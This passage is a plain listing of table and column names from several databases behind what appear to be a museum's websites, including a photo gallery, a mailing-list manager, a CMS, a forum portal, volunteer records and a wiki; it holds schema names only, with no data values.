software	id status title version publisher date category platform media_version credit_line accession contenturl contentsize thumbnailurl thumbnailsize imageurl imagesize caption
softwareidseq	id
still_imageidseq	id
still_images	id status title date photographer copyright_owner credit_line accession size alt_text contenturl contentsize thumbnailurl thumbnailsize caption
themeidseq	id
themes	id status section subsection rotate_images title use_template caption
useridseq	id
users	id active admin username authkey first_name last_name

online_exhibits_test
Table Name	Columns

photogallery
Table Name	Columns
cpg140_albums	aid title description visibility uploads comments votes pos category thumb keyword alb_password alb_password_hint
cpg140_banned	ban_id user_id ip_addr expiry brute_force
cpg140_bridge	name value
cpg140_categories	cid owner_id name description pos parent thumb
cpg140_comments	pid msg_id msg_author msg_body msg_date msg_raw_ip msg_hdr_ip author_md5_id author_id
cpg140_config	name value
cpg140_dict	keyId keyword
cpg140_ecards	eid sender_name sender_email recipient_name recipient_email link date sender_ip
cpg140_exif	filename exifData
cpg140_favpics	user_id user_favpics
cpg140_filetypes	extension mime content player
cpg140_hit_stats	sid pid ip search_phrase sdate referer browser os
cpg140_pictures	pid aid filepath filename filesize total_filesize pwidth pheight hits mtime ctime owner_id owner_name pic_rating votes title caption keywords approved galleryicon user1 user2 user3 user4 url_prefix pic_raw_ip pic_hdr_ip lasthit_ip position
cpg140_plugins	plugin_id name path priority
cpg140_sessions	session_id user_id time remember
cpg140_temp_data	unique_ID encoded_string timestamp
cpg140_usergroups	group_id group_name group_quota has_admin_access can_rate_pictures can_send_ecards can_post_comments can_upload_pictures can_create_albums pub_upl_need_approval priv_upl_need_approval upload_form_config custom_user_upload num_file_upload num_URI_upload
cpg140_users	user_id user_group user_active user_name user_password user_lastvisit user_regdate user_group_list user_email user_profile1 user_profile2 user_profile3 user_profile4 user_profile5 user_profile6 user_actkey
cpg140_vote_stats	sid pid rating ip sdate referer browser os
cpg140_votes	pic_id user_md5_id vote_time

phplist
Table Name	Columns
phplist_admin	id loginname namelc email created modified modifiedby password passwordchanged superuser disabled
phplist_admin_attribute	adminattributeid adminid value
phplist_admin_task	adminid taskid level
phplist_adminattribute	id name type listorder default_value required tablename
phplist_attachment	id filename remotefile mimetype description size
phplist_bounce	id date header data status comment
phplist_bounceregex	id regex action listorder admin comment status count
phplist_bounceregex_bounce	regex bounce
phplist_config	item value editable type
phplist_eventlog	id entered page entry
phplist_linktrack	linkid messageid userid url forward firstclick latestclick clicked
phplist_linktrack_userclick	linkid userid messageid name data date
phplist_list	id name description entered listorder prefix rssfeed modified active owner
phplist_listmessage	id messageid listid entered modified
phplist_listrss	listid type entered info
phplist_listuser	userid listid entered modified
phplist_message	id subject fromfield tofield replyto message textmessage footer entered modified embargo repeatinterval repeatuntil status userselection sent htmlformatted sendformat template processed astext ashtml astextandhtml aspdf astextandpdf viewed bouncecount sendstart rsstemplate owner
phplist_message_attachment	id messageid attachmentid
phplist_messagedata	name id data
phplist_rssitem	id title link source list added processed astext ashtml
phplist_rssitem_data	itemid tag data
phplist_rssitem_user	itemid userid entered
phplist_sendprocess	id started modified alive ipaddress page
phplist_subscribepage	id title active owner
phplist_subscribepage_data	id name data
phplist_task	id page type
phplist_template	id title template listorder
phplist_templateimage	id template mimetype filename data width height
phplist_urlcache	id url lastmodified added content
phplist_user_attribute	id name type listorder default_value required tablename
phplist_user_blacklist	email added
phplist_user_blacklist_data	email name data
phplist_user_message_bounce	id user message bounce time
phplist_user_message_forward	id user message forward status time
phplist_user_rss	userid last
phplist_user_user	id email confirmed blacklisted bouncecount entered modified uniqid htmlemail subscribepage rssfrequency password passwordchanged disabled extradata foreignkey
phplist_user_user_attribute	attributeid userid value
phplist_user_user_history	id userid ip date summary detail systeminfo
phplist_usermessage	messageid userid entered viewed status
phplist_userstats	id unixdate item listid value

semiconductor
Table Name	Columns
active_users	internalKey username lasthit id action ip
categories	id category
document_groups	id document_group document
documentgroup_names	id name private_memgroup private_webgroup
event_log	id eventid createdon type user usertype source description
keyword_xref	content_id keyword_id
manager_log	id timestamp internalKey username action itemid itemname message
manager_users	id username password
member_groups	id user_group member
membergroup_access	id membergroup documentgroup
membergroup_names	id name
site_content	id type contentType pagetitle longtitle description alias link_attributes published pub_date unpub_date parent isfolder introtext content richtext template menuindex searchable cacheable createdby createdon editedby editedon deleted deletedon deletedby publishedon publishedby menutitle donthit haskeywords hasmetatags privateweb privatemgr content_dispo hidemenu
site_content_metatags	content_id metatag_id
site_htmlsnippets	id name description editor_type category cache_type snippet locked
site_keywords	id keyword
site_metatags	id name tag tagvalue http_equiv
site_module_access	id module usergroup
site_module_depobj	id module resource type
site_modules	id name description editor_type disabled category wrap locked icon enable_resource resourcefile createdon editedon guid enable_sharedparams properties modulecode
site_plugin_events	pluginid evtid priority
site_plugins	id name description editor_type category cache_type plugincode locked properties disabled moduleguid
site_snippets	id name description editor_type category cache_type snippet locked properties moduleguid
site_templates	id templatename description editor_type category icon template_type content locked
site_tmplvar_access	id tmplvarid documentgroup
site_tmplvar_contentvalues	id tmplvarid contentid value
site_tmplvar_templates	tmplvarid templateid rank
site_tmplvars	id type name caption description editor_type category locked elements rank display display_params default_text
system_eventnames	id name service groupname
system_settings	setting_name setting_value
user_attributes	id internalKey fullname role email phone mobilephone blocked blockeduntil blockedafter logincount lastlogin thislogin failedlogincount sessionid dob gender country state zip fax photo comment
user_messages	id type subject message sender recipient private postdate messageread
user_roles	id name description frames home view_document new_document save_document publish_document delete_document action_ok logout help messages new_user edit_user logs edit_parser save_parser edit_template settings credits new_template save_template delete_template edit_snippet new_snippet save_snippet delete_snippet empty_cache edit_document change_password error_dialog about file_manager save_user delete_user save_password edit_role save_role delete_role new_role access_permissions bk_manager new_plugin edit_plugin save_plugin delete_plugin new_module edit_module save_module delete_module exec_module view_eventlog delete_eventlog manage_metatags edit_doc_metatags new_web_user edit_web_user save_web_user delete_web_user web_access_permissions view_unpublished
user_settings	user setting_name setting_value
web_groups	id webgroup webuser
web_user_attributes	id internalKey fullname role email phone mobilephone blocked blockeduntil blockedafter logincount lastlogin thislogin failedlogincount sessionid dob gender country state zip fax photo comment
web_user_settings	webuser setting_name setting_value
web_users	id username password cachepwd
webgroup_access	id webgroup documentgroup
webgroup_names	id name

sloan
Table Name	Columns
biography	bid uid cid start end job_description accomplishments status email_pref
bugs	id date_reported page description category priority date_required status submitted_by date_completed
companies	cid name description status change_tracking keywords
group_membership	gmid uid gid
groups	gid gname level gname_id
item_comments	iid date time user_id subject message_body
item_document	iid title filename path description date author_first author_last date_created publisher num_pages keywords cataloguer copyright_owner location box_number lot_number accession notes color_bit_depth date_digitized digital_capture_device digital_format scan_location resolution change_tracking dimensions web_access_large web_access_small
item_event	iid title description date sequence keywords change_tracking
item_person	iid first_name last_name date job_title description title
item_reference	iid title reference date author_first author_last date_created publisher keywords cataloguer copyright_owner change_tracking
item_story	iid title story date author date_created keywords change_tracking cataloguer copyright_owner author_first author_last
items	id item_type iid status bibliography collection
relationships	rid parent child type level
segments	sid label description status site
sources	srcid iid location source status
themes	tid label description status keywords change_tracking
transactions	id date_created created_by date_edited edited_by
users	uid uname password first_name last_name user_type help_msg email entered_info affiliated_organization address1 address2 city state zipcode country phone fax address_type status date_accepted email_options middle_initial suffix

sw_pres
Table Name	Columns
wishlist1	name category significance pt_contact source suggested_by

tdih_db
Table Name	Columns
dadabik_2_tdih	name_field label_field type_field content_field present_search_form_field present_results_search_field present_details_form_field present_insert_form_field present_ext_update_form_field required_field check_duplicated_insert_field other_choices_field select_options_field foreign_key_field db_primary_key_field select_type_field prefix_field default_value_field width_field height_field maxlength_field hint_insert_field order_form_field separator_field
dadabik_2_tdih_images	name_field label_field type_field content_field present_search_form_field present_results_search_field present_details_form_field present_insert_form_field present_ext_update_form_field required_field check_duplicated_insert_field other_choices_field select_options_field foreign_key_field db_primary_key_field select_type_field prefix_field default_value_field width_field height_field maxlength_field hint_insert_field order_form_field separator_field
dadabik_2_tdih_main	name_field label_field type_field content_field present_search_form_field present_results_search_field present_details_form_field present_insert_form_field present_ext_update_form_field required_field check_duplicated_insert_field other_choices_field select_options_field foreign_key_field db_primary_key_field select_type_field prefix_field default_value_field width_field height_field maxlength_field hint_insert_field order_form_field separator_field
dadabik_table_list	name_table allowed_table enable_insert_table enable_edit_table enable_delete_table enable_details_table
tdih	year month day homepage_text homepage_pix_ref inside_main_text inside_main_text_ref inside_pix1_ref inside_pix1_text inside_pix2_ref inside_pix2_text creator created_on creator_status checker checked_on checker_status final_approval approved_on approval_status archived_by archived_on archiver_status template_type comments public_access
tdih_images	id record_type image_order image_path image_caption image_alt_text
tdih_main	id record_type year month day title description creator created_on creation_status checker checked_on checker_status final_approval archived_by archived_on archiver_status comments public_access last_modified_by last_modified_on

test
Table Name	Columns
event	eventid description eventdate lastupdate lastupdateby
eventvolunteer	eventid personid hours description
exp_category	expid major minor exptype lastupdate lastupdateby displayorder
expertise	personid expid expnumeric expstring lastupdate lastupdateby
person	personid firstname middlename lastname company title addr1 addr2 city state zip dayphone evephone fax email emerg_contact emerg_addr1 emerg_addr2 emerg_phone emerg_relation emerg_medinfo emerg_doctor lastupdate lastupdateby email2 email3 cellphone senthours valid created createdby
s_r6_addl_res	research email phone
s_r6_ba_museums	shortname longname display_sequence other
s_r6_results	hw1 sw1 inet1 netw1 cgui1 games1 peop1 other1 other1txt q2 q2txt collab3 lect3 cyber3 exhib3 edu3 rest3 fellow3 vol3 memb3 peop3 exhib4 lect4 website4 overall4 q4txt postcard5 email5 mweb5 oweb5 oweb5txt core5 news5 news5txt friend5 lit5 memb6 attlec6 attlec6val tour6 tour6val attfel6 vol6 parti6 renew7 volunteer7 tour7 finan7 capcamp7 dartifact7 q7ins8 q7ins8txt qlapsed qlapsedtxt admitrecep8 notice8 freeadmit8 discount8 enews8 eemail8 memcard8 core8 other8 other8txt aart9vis aart9mem aart9int badisc9vis badisc9mem badisc9int calacad9vis calacad9mem calacad9int cantor9vis cantor9mem cantor9int hiller9vis hiller9mem hiller9int lawrence9vis lawrence9mem lawrence9int legion9vis legion9mem legion9int mbayaq9vis mbayaq9mem mbayaq9int sfmoma9vis sfmoma9mem sfmoma9int sjmoa9vis sjmoa9mem sjmoa9int thetech9vis thetech9mem thetech9int explor9vis explor9mem explor9int other9vis other9mem other9int other9txt years10 q11 q11a q11txt q11atxt zip12 q13 q14 q14txt q15 clientip entered
s_r6_value_list	typename display_sequence visible_value internal_value
s_results	hw1 sw1 inet1 netw1 cgui1 peop1 other1 other1txt desk2a db2a game2a lang2a net2a os2a oth2a proc2b peri2b stor2b game2b unde2b q3 q3txt celeb4 teachhow4 impact4 teachhist4 other4 collab5 lect5 cyber5 phys5 edu5 rest5 fellow5 vol5 host5 peop5 memb6 attlec6 attlec6val tour6 tour6val attfel6 vol6 parti6 years7 q8 q8txt q9 q9txt emps10 zip11 q12 q13 q13txt q14txt clientip entered
s_value_list	typename display_sequence visible_value internal_value
sequence	id
sessions	id a_session
user	userid personid md5pass admin lastupdate lastupdateby logintime prevlogintime

tour_visitors
Table Name	Columns
visitors	id name address1 address2 city state zipcode email repeat_visit mailing_list tour_date tour_time country

tutos
Table Name	Columns
acl	obj_id adr_id perm
acldefault	obj_id adr_id perm
addresses	id title f_name m_name l_name birthday pic_id category creator creation
adrloc	adr_id loc_id name category
adrteam	adr_id team_id
bugchanges	id bugid description creator creation
bugname	nextval
bugremember	id r_time
bugs	id name short description product_id class state solver solvedate creator creation
calendar	id a_start a_end t_ignore description trace mod_allow outside remember remembered visitor product repeat r_arg r_ignore creator creation
companies	id name creator creation
departments	id c_id name creator creation
filelink	f_id link_id
files	id link_id name filename loc type f_size md5 version locked vsys logtxt author creator creation
group_member	group_id obj_id
groups	id name description creator creation
history	obj_id adr_id m_time m_field val_old val_new
id	nextval
installations	id customer_id installer_id seller_id product_id update_id money currency instdate salesdate invoice description version serial key_1 key_2 creator creation
invname	nextval
invoice	id state link_id name d_sent0 d_due0 d_sent1 d_due1 d_sent2 d_due2 d_finish customer accountant creator creation
invoice_pos	id pos ref_id description items ityp sum_single currency tax inv_id
location	id category c_id d_id desc1 phone_1 phone_2 fax_1 email_1 email_2 street1 street2 city zip state country coords acc_info1 acc_info2 acc_nr customer_id creator creation
mailboxes	id link_id host type port uname pw path email autoimport creator creation
messages	ts message
notes	id link_id name note remember creator creation
objectids	id tutostype
participants	adr_id app_id state
people	id adr_id login last_seen last_host admin pw prefteam lang tz holidays namedays workdays weekstart theme layout rowiconsbefore rowiconsafter disabled creator creation
products	id name version description desc1 desc2 state path price cost currency probability p_start p_end creator creation
projectclass1	pro_id class_id
projectclass2	pro_id class_id
projectroles	pro_id adr_id role_id description
rates	id link_id worker name priority cph currency vat role_id state creator creation
reminder	id link_id adr_id usemail description remind_date rd_type fired_at time_offset repeat_offset creator creation
res_use	res_id obj_id
resources	id name description creator creation
tasks	id p_id worker name r_start r_end s_start s_end volume volume_done volume_todo status milestone description creator creation
taskworker	t_id w_id
teams	id name owner email creator creation
timetrack	id adr_id link_id volume volume_todo t_start t_end description invoice state cph currency vtime creator creation
tutos_dbs	id name dbalias dbhost dbuser dbpass dbhome dbtype dbport lastanalyze repository last_date last_id version cryptpw prefix creator creation logo logolink bugautoname invautoname vatlist systemid
urls	id link_id url name creator creation
watchlist	obj_id adr_id lastcall creation

volunteer
Table Name	Columns
pn_CHMVolunteers	chm_pn_user_id chm_prefix chm_first_name chm_last_name chm_middle_name chm_suffix chm_nickname chm_spouse_name chm_occupation chm_interests chm_tshirt_size chm_work_title chm_work_company chm_phone chm_cell chm_fax chm_email chm_website chm_work_phone chm_work_cell chm_work_fax chm_work_email chm_work_website chm_user_comments chm_photo_present chm_approved
pn_CHMVolunteersAddress	chm_pn_user_id chm_address_id chm_address_type chm_address1 chm_address2 chm_city chm_state chm_zipcode
pn_CHMVolunteersEmergencyInfo	chm_pn_user_id chm_emergency_id chm_contact_name chm_relationship chm_contact_phone chm_doctor_name chm_doctor_phone chm_medical_info
pn_CHMVolunteersEventList	chm_event_id chm_event_type chm_name chm_date chm_time chm_location chm_hours chm_comments attendance
pn_CHMVolunteersEventTemplate	chm_template_id chm_template_name chm_event_type chm_name chm_date chm_time chm_location chm_hours chm_comments
pn_CHMVolunteersEventTemplateItems	chm_item_id chm_template_id chm_volunteer_type chm_number
pn_CHMVolunteersEventType	chm_event_id chm_event_name chm_description
pn_CHMVolunteersEventVolunteer	chm_event_volunteer_id chm_event chm_hours_worked chm_approved chm_volunteer_type chm_pn_user_id
pn_CHMVolunteersExpertise	chm_pn_user_id chm_expertise_id chm_expertise_label chm_expertise_value
pn_CHMVolunteersHours	chm_hours_id chm_date chm_hours_worked chm_approved chm_description chm_pn_user_id chm_volunteer_type
pn_CHMVolunteersPrivate	chm_pn_user_id chm_private_id chm_senior_docent chm_commitment_signed chm_comments chm_status chm_docent_training_1 chm_docent_training_2 chm_archive_training chm_artifact_handling_training chm_volunteer_since chm_when_interviewed chm_who_interviewed chm_interview_results chm_peer_review_date chm_reviewer chm_review_results chm_hours_award_date chm_hours_award_level chm_cpr_training chm_aed_training chm_mentor
pn_CHMVolunteersTempUsers	uid first_name last_name email
pn_CHMVolunteersVolunteerType	chm_volunteer_id chm_volunteer_type chm_description
pn_FormExpress	fx_form_id fx_form_name fx_description fx_submit_action fx_success_action fx_failure_action fx_onload_action fx_validation_action fx_active fx_language fx_input_name_suffix
pn_FormExpressCache	fx_form_id fx_form_data
pn_FormExpressItems	fx_form_item_id fx_form_id fx_sequence fx_item_type fx_item_name fx_required fx_prompt fx_prompt_position fx_item_value fx_default_value fx_cols fx_rows fx_max_length fx_multiple fx_item_attributes fx_validation_rule fx_active fx_relative_position
pn_autolinks	pn_lid pn_keyword pn_title pn_url pn_comment
pn_autonews	pn_anid pn_catid pn_aid pn_title pn_time pn_hometext pn_bodytext pn_topic pn_informant pn_notes pn_ihome pn_language pn_withcomm
pn_banner	pn_bid pn_cid pn_type pn_imptotal pn_impmade pn_clicks pn_imageurl pn_clickurl pn_date
pn_bannerclient	pn_cid pn_name pn_contact pn_email pn_login pn_passwd pn_extrainfo
pn_bannerfinish	pn_bid pn_cid pn_impressions pn_clicks pn_datestart pn_dateend
pn_blocks	pn_bid pn_bkey pn_title pn_content pn_url pn_mid pn_position pn_weight pn_active pn_refresh pn_last_update pn_language
pn_blocks_buttons	pn_id pn_bid pn_title pn_url pn_images
pn_ce_categories	mc_id mc_parent_id mc_title mc_language
pn_ce_contentitems	mc_id mc_parent_id mc_cat_id mc_language mc_title mc_title_align mc_text mc_enable_title mc_media_url mc_media_width mc_media_height mc_media_text mc_layout_id mc_start_date mc_end_date mc_top_print mc_bottom_print mc_status mc_weight mc_navigation mc_top_sendfriend mc_bottom_sendfriend mc_backgroundcolor mc_last_updated mc_times_read mc_show_last_updated mc_show_times_read mc_author mc_notes mc_excludefromindex
pn_ce_layout	mc_id mc_name mc_description mc_text
pn_ce_statuses	mc_id mc_parent_id mc_title mc_language
pn_comments	pn_tid pn_pid pn_sid pn_date pn_name pn_email pn_url pn_host_name pn_subject pn_comment pn_score pn_reason
pn_counter	pn_type pn_var pn_count
pn_downloads_categories	pn_cid pn_title pn_description
pn_downloads_downloads	pn_lid pn_cid pn_sid pn_title pn_url pn_description pn_date pn_name pn_email pn_hits pn_submitter pn_ratingsummary pn_totalvotes pn_totalcomments pn_filesize pn_version pn_homepage
pn_downloads_editorials	pn_id pn_adminid pn_timestamp pn_text pn_title
pn_downloads_modrequest	pn_requestid pn_lid pn_cid pn_sid pn_title pn_url pn_description pn_modifysubmitter pn_brokendownload pn_name pn_email pn_filesize pn_version pn_homepage
pn_downloads_newdownload	pn_lid pn_cid pn_sid pn_title pn_url pn_description pn_name pn_email pn_submitter pn_filesize pn_version pn_homepage
pn_downloads_subcategories	pn_sid pn_cid pn_title
pn_downloads_votedata	pn_id pn_lid pn_user pn_rating pn_hostname pn_comments pn_timestamp
pn_ephem	pn_eid pn_did pn_mid pn_yid pn_content pn_language
pn_faqanswer	pn_id pn_id_cat pn_question pn_answer pn_submittedby
pn_faqcategories	pn_id_cat pn_categories pn_language pn_parent_id
pn_feproc_handlers	fp_id fp_name fp_description fp_type fp_version fp_modulename fp_apiname fp_apifunc fp_attributes
pn_feproc_user	id full_name address_1 address_2 city state zipcode
pn_feproc_workflow	fp_id fp_name fp_description fp_type fp_attributes fp_set_id fp_success_id fp_failure_id fp_handler_id fp_secure fp_start_stage
pn_group_membership	pn_gid pn_uid
pn_group_perms	pn_pid pn_gid pn_sequence pn_realm pn_component pn_instance pn_level pn_bond
pn_groups	pn_gid pn_name
pn_headlines	pn_id pn_sitename pn_rssuser pn_rsspasswd pn_use_proxy pn_rssurl pn_maxrows pn_siteurl pn_options
pn_hooks	pn_id pn_object pn_action pn_smodule pn_stype pn_tarea pn_tmodule pn_ttype pn_tfunc
pn_languages_constant	pn_constant pn_file
pn_languages_file	pn_target pn_source
pn_languages_translation	pn_language pn_constant pn_translation pn_level
pn_links_categories	pn_cat_id pn_parent_id pn_title pn_description
pn_links_editorials	pn_linkid pn_adminid pn_timestamp pn_text pn_title
pn_links_links	pn_lid pn_cat_id pn_title pn_url pn_description pn_date pn_name pn_email pn_hits pn_submitter pn_ratingsummary pn_totalvotes pn_totalcomments
pn_links_modrequest	pn_requestid pn_lid pn_cat_id pn_sid pn_title pn_url pn_description pn_modifysubmitter pn_brokenlink
pn_links_newlink	pn_lid pn_cat_id pn_title pn_url pn_description pn_name pn_email pn_submitter
pn_links_votedata	pn_id pn_lid pn_user pn_rating pn_hostname pn_comments pn_timestamp
pn_me_menuitems	mc_id mc_parent_id mc_block_id mc_language mc_title mc_type mc_newwindow mc_uri mc_start_date mc_end_date mc_status mc_weight mc_rollover_img1 mc_rollover_img2 mc_bg_img mc_rollover_img1_file mc_rollover_img2_file mc_bg_img_file mc_rollover_img1_size mc_rollover_img2_size mc_bg_img_size mc_rollover_img1_type mc_rollover_img2_type mc_bg_img_type
pn_message	pn_mid pn_title pn_content pn_date pn_expire pn_active pn_view pn_language
pn_mme_mediaitems	mc_id mc_filename mc_filesize mc_type
pn_module_vars	pn_id pn_modname pn_name pn_value
pn_modules	pn_id pn_name pn_type pn_displayname pn_description pn_regid pn_directory pn_version pn_admin_capable pn_user_capable pn_state
pn_phpbb_attach_quota	user_id group_id quota_type quota_limit_id
pn_phpbb_attachments	attach_id post_id privmsgs_id user_id_1 user_id_2
pn_phpbb_attachments_config	config_name config_value
pn_phpbb_attachments_desc	attach_id physical_filename real_filename download_count comment extension mimetype filesize filetime thumbnail
pn_phpbb_auth_access	group_id forum_id auth_view auth_read auth_post auth_reply auth_edit auth_delete auth_sticky auth_announce auth_vote auth_pollcreate auth_attachments auth_mod auth_download
pn_phpbb_banlist	ban_id ban_userid ban_ip ban_email
pn_phpbb_categories	cat_id cat_title cat_order cat_main cat_desc
pn_phpbb_config	config_name config_value
pn_phpbb_confirm	confirm_id session_id code
pn_phpbb_disallow	disallow_id disallow_username
pn_phpbb_extension_groups	group_id group_name cat_id allow_group download_mode upload_icon max_filesize forum_permissions
pn_phpbb_extensions	ext_id group_id extension comment
pn_phpbb_forbidden_extensions	ext_id extension
pn_phpbb_forum_prune	prune_id forum_id prune_days prune_freq
pn_phpbb_forums	forum_id cat_id forum_name forum_desc forum_status forum_order forum_posts forum_topics forum_last_post_id prune_next prune_enable auth_view auth_read auth_post auth_reply auth_edit auth_delete auth_sticky auth_announce auth_vote auth_pollcreate auth_attachments auth_download topic_sort_order post_sort_order
pn_phpbb_groups	group_id group_type group_name group_description group_moderator group_single_user
pn_phpbb_posts	post_id topic_id forum_id poster_id post_time poster_ip post_username enable_bbcode enable_html enable_smilies enable_sig post_edit_time post_edit_count post_attachment post_icon
pn_phpbb_posts_text	post_id bbcode_uid post_subject post_text
pn_phpbb_privmsgs	privmsgs_id privmsgs_type privmsgs_subject privmsgs_from_userid privmsgs_to_userid privmsgs_date privmsgs_ip privmsgs_enable_bbcode privmsgs_enable_html privmsgs_enable_smilies privmsgs_attach_sig privmsgs_attachment
pn_phpbb_privmsgs_text	privmsgs_text_id privmsgs_bbcode_uid privmsgs_text
pn_phpbb_quota_limits	quota_limit_id quota_desc quota_limit
pn_phpbb_ranks	rank_id rank_title rank_min rank_special rank_image
pn_phpbb_search_results	search_id session_id search_array
pn_phpbb_search_wordlist	word_text word_id word_common
pn_phpbb_search_wordmatch	post_id word_id title_match
pn_phpbb_sessions	session_id session_user_id session_start session_time session_ip session_page session_logged_in
pn_phpbb_smilies	smilies_id code smile_url emoticon
pn_phpbb_themes	themes_id template_name style_name head_stylesheet body_background body_bgcolor body_text body_link body_vlink body_alink body_hlink tr_color1 tr_color2 tr_color3 tr_class1 tr_class2 tr_class3 th_color1 th_color2 th_color3 th_class1 th_class2 th_class3 td_color1 td_color2 td_color3 td_class1 td_class2 td_class3 fontface1 fontface2 fontface3 fontsize1 fontsize2 fontsize3 fontcolor1 fontcolor2 fontcolor3 span_class1 span_class2 span_class3 img_size_poll img_size_privmsg
pn_phpbb_themes_name	themes_id tr_color1_name tr_color2_name tr_color3_name tr_class1_name tr_class2_name tr_class3_name th_color1_name th_color2_name th_color3_name th_class1_name th_class2_name th_class3_name td_color1_name td_color2_name td_color3_name td_class1_name td_class2_name td_class3_name fontface1_name fontface2_name fontface3_name fontsize1_name fontsize2_name fontsize3_name fontcolor1_name fontcolor2_name fontcolor3_name span_class1_name span_class2_name span_class3_name
pn_phpbb_topics	topic_id forum_id topic_title topic_poster topic_time topic_views topic_replies topic_status topic_vote topic_type topic_first_post_id topic_last_post_id topic_moved_id topic_attachment topic_icon
pn_phpbb_topics_watch	topic_id user_id notify_status
pn_phpbb_user_group	group_id user_id user_pending
pn_phpbb_users	user_id user_active username user_password user_session_time user_session_page user_lastvisit user_regdate user_level user_posts user_timezone user_style user_lang user_dateformat user_new_privmsg user_unread_privmsg user_last_privmsg user_emailtime user_viewemail user_attachsig user_allowhtml user_allowbbcode user_allowsmile user_allowavatar user_allow_pm user_allow_viewonline user_notify user_notify_pm user_popup_pm user_rank user_avatar user_avatar_type user_email user_icq user_website user_from user_sig user_sig_bbcode_uid user_aim user_yim user_msnm user_occ user_interests user_actkey user_newpasswd
pn_phpbb_vote_desc	vote_id topic_id vote_text vote_start vote_length
pn_phpbb_vote_results	vote_id vote_option_id vote_option_text vote_result
pn_phpbb_vote_voters	vote_id vote_user_id vote_user_ip
pn_phpbb_words	word_id word replacement
pn_poll_check	pn_ip pn_time
pn_poll_data	pn_pollid pn_optiontext pn_optioncount pn_voteid
pn_poll_desc	pn_pollid pn_title pn_timestamp pn_voters pn_language
pn_pollcomments	pn_tid pn_pid pn_pollid pn_date pn_name pn_email pn_url pn_host_name pn_subject pn_comment pn_score pn_reason
pn_postcalendar_categories	pc_catid pc_catname pc_catcolor pc_catdesc
pn_postcalendar_events	pc_eid pc_catid pc_aid pc_title pc_time pc_hometext pc_comments pc_counter pc_topic pc_informant pc_eventDate pc_endDate pc_duration pc_recurrtype pc_recurrspec pc_recurrfreq pc_startTime pc_endTime pc_alldayevent pc_location pc_conttel pc_contname pc_contemail pc_website pc_fee pc_eventstatus pc_sharing pc_language
pn_priv_msgs	pn_msg_id pn_msg_image pn_subject pn_from_userid pn_to_userid pn_msg_time pn_msg_text pn_read_msg
pn_queue	pn_qid pn_uid pn_arcd pn_uname pn_subject pn_story pn_timestamp pn_topic pn_language pn_bodytext
pn_quotes	pn_qid pn_quote pn_author
pn_ratings	pn_rid pn_module pn_itemid pn_ratingtype pn_rating pn_numratings
pn_ratingslog	pn_id pn_ratingid pn_rating
pn_realms	pn_rid pn_name
pn_referer	pn_rid pn_url pn_frequency
pn_related	pn_rid pn_tid pn_name pn_url
pn_reviews	pn_id pn_date pn_title pn_text pn_reviewer pn_email pn_score pn_cover pn_url pn_url_title pn_hits pn_language
pn_reviews_add	pn_id pn_date pn_title pn_text pn_reviewer pn_email pn_score pn_url pn_url_title pn_language
pn_reviews_comments	pn_cid pn_rid pn_userid pn_date pn_comments pn_score
pn_reviews_main	pn_title pn_description
pn_seccont	pn_artid pn_secid pn_title pn_content pn_counter pn_language
pn_sections	pn_secid pn_secname pn_image
pn_session_info	pn_sessid pn_ipaddr pn_firstused pn_lastused pn_uid pn_vars
pn_stats_date	pn_date pn_hits
pn_stats_hour	pn_hour pn_hits
pn_stats_month	pn_month pn_hits
pn_stats_week	pn_weekday pn_hits
pn_stories	pn_sid pn_catid pn_aid pn_title pn_time pn_hometext pn_bodytext pn_comments pn_counter pn_topic pn_informant pn_notes pn_ihome pn_themeoverride pn_language pn_withcomm pn_format_type
pn_stories_cat	pn_catid pn_title pn_counter pn_themeoverride
pn_topics	pn_topicid pn_topicname pn_topicimage pn_topictext pn_counter
pn_user_data	pn_uda_id pn_uda_propid pn_uda_uid pn_uda_value
pn_user_perms	pn_pid pn_uid pn_sequence pn_realm pn_component pn_instance pn_level pn_bond
pn_user_property	pn_prop_id pn_prop_label pn_prop_dtype pn_prop_length pn_prop_weight pn_prop_validation
pn_userblocks	pn_uid pn_bid pn_active pn_last_update
pn_users	pn_uid pn_name pn_uname pn_email pn_femail pn_url pn_user_avatar pn_user_regdate pn_user_icq pn_user_occ pn_user_from pn_user_intrest pn_user_sig pn_user_viewemail pn_user_theme pn_user_aim pn_user_yim pn_user_msnm pn_pass pn_storynum pn_umode pn_uorder pn_thold pn_noscore pn_bio pn_ublockon pn_ublock pn_theme pn_commentmax pn_counter pn_timezone_offset

vvs_db
Table Name	Columns
artifact_group	exhibit_id label_type era_theme_id sub_theme_id title year manufacturer country description accession_number donor map_path memory_size memory_width memory_type speed cost image_historic_path image_historic_credit image_historic_year image_historic_caption image_artifact_path image_artifact_credit image_artifact_year image_artifact_caption
detailpanel_images	exhibit_id image_number image_artifact_path image_artifact_credit image_artifact_year image_artifact_caption
era_theme	era_theme_id era_id era_theme_flag title description image_historic_path image_historic_credit image_historic_year image_historic_caption map_path
mini_label	exhibit_id master_id theme_id title year manufacturer country accession_number image_artifact_path image_artifact_credit image_artifact_year image_artifact_caption

wikidb
Table Name	Columns
doc_archive	ar_namespace ar_title ar_text ar_comment ar_user ar_user_text ar_timestamp ar_minor_edit ar_flags ar_rev_id ar_text_id
doc_blobs	blob_index blob_data
doc_brokenlinks	bl_from bl_to
doc_categorylinks	cl_from cl_to cl_sortkey cl_timestamp
doc_cur	cur_id cur_namespace cur_title cur_text cur_comment cur_user cur_user_text cur_timestamp cur_restrictions cur_counter cur_is_redirect cur_minor_edit cur_is_new cur_random cur_touched inverse_timestamp
doc_hitcounter	hc_id
doc_image	img_name img_size img_description img_user img_user_text img_timestamp img_width img_height img_bits img_metadata img_media_type img_major_mime img_minor_mime
doc_imagelinks	il_from il_to
doc_interwiki	iw_prefix iw_url iw_local iw_trans
doc_ipblocks	ipb_id ipb_address ipb_user ipb_by ipb_reason ipb_timestamp ipb_auto ipb_expiry
doc_links	l_from l_to
doc_linkscc	lcc_pageid lcc_cacheobj
doc_logging	log_type log_action log_timestamp log_user log_namespace log_title log_comment log_params
doc_math	math_inputhash math_outputhash math_html_conservativeness math_html math_mathml
doc_objectcache	keyname value exptime
doc_oldimage	oi_name oi_archive_name oi_size oi_description oi_user oi_user_text oi_timestamp oi_width oi_height oi_bits
doc_page	page_id page_namespace page_title page_restrictions page_counter page_is_redirect page_is_new page_random page_touched page_latest page_len
doc_pagelinks	pl_from pl_namespace pl_title
doc_querycache	qc_type qc_value qc_namespace qc_title
doc_recentchanges	rc_id rc_timestamp rc_cur_time rc_user rc_user_text rc_namespace rc_title rc_comment rc_minor rc_bot rc_new rc_cur_id rc_this_oldid rc_last_oldid rc_type rc_moved_to_ns rc_moved_to_title rc_patrolled rc_ip
